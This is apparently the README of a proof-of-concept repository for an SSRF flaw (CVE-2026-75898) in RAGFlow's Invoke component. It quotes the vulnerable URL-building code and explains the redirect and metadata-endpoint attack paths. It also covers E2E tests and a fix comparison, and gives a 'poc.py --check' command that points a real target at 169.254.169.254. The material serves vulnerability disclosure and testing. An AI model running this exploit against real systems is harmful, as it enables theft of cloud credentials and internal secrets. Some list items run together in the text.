
Proof-of-concept per CVE-2026-75898, una SSRF nel componente Invoke di RAGFlow. Dimostra la vulnerabilità con sorgente non modificata, include test E2E, confronto delle fix e riproduzione basata su Docker per test di sicurezza autorizzati.
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| Corretto in | v0.26.3 |
| Commit di fix | c4fe68e, e16d1a0 |
| Riferimenti issue | infiniflow/ragflow#15425, #18280 |
| Advisory | VulnCheck |
In agent/component/invoke.py della v0.26.2 il componente Invoke costruisce l'URL della richiesta da template di variabili forniti dall'utente e non esegue alcuna validazione dell'host risolto:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
Questo URL raggiunge requests.get/post/put in _send_request(). Poiché allow_redirects è lasciato al valore predefinito di requests (True), un attaccante può:
127.0.0.1, 169.254.169.254, intervalli RFC1918, non esiste il pinning dell'host risolto), oppureIl fix aggiunge assert_url_is_safe() + pin_dns() e forza allow_redirects=False.
A differenza delle re-implementazioni "simili", questo repository esegue la sorgente v0.26.2 non modificata del componente vulnerabile:
target/invoke_v0.26.2.py — agent/component/invoke.py byte-per-byte dal tag v0.26.2.e2e/test_genuine_ssrf.py — carica quel file reale dietro stub di import sottili (lo stub sostituisce solo import non correlati: ComponentBase, il decorator timeout e HtmlParser — nessuna logica del percorso SSRF viene toccata) e dimostra che il componente raggiunge un servizio interno direttamente e tramite una catena di reindirizzamenti.e2e/test_fix_guard.py — applica la guardia a monte (assert_url_is_safe, allow_redirects=False) sullo stesso identico file e mostra che le richieste vengono bloccate.Validato in tre modi indipendenti:
e2e/test_genuine_ssrf.py esegue la sorgente non modificata target/invoke_v0.26.2.py contro server di laboratorio su loopback — SSRF confermato.e2e/test_fix_guard.py applica la guardia a monte allo stesso file — bloccato.v0.26.2 (infinity+mysql+minio+valkey) tramite docker compose; un nodo Invoke in un flusso agente reale ha recuperato INTERNAL-DB-SECRET:dbpassword=SuperSecret123 da una porta host interna. Vedi LAB_DEMO.md per le prove testuali.cd e2e
python3 test_genuine_ssrf.py # deve stampare SSRF confirmed (vulnerabile)
python3 test_fix_guard.py # deve stampare BLOCKED (comportamento corretto)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
Richiede un token di sessione autenticato (Invoke viene eseguito all'interno di un flusso agente).
python3 poc.py --poc # E2E locale
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke a una allowlist.Corretto in RAGFlow v0.26.3 (agosto 2026). Questa PoC è stata ricostruita in modo indipendente dall'advisory pubblico e dai commit di fix esclusivamente per test di sicurezza autorizzati e scopi educativi. Non affiliata a InfiniFlow.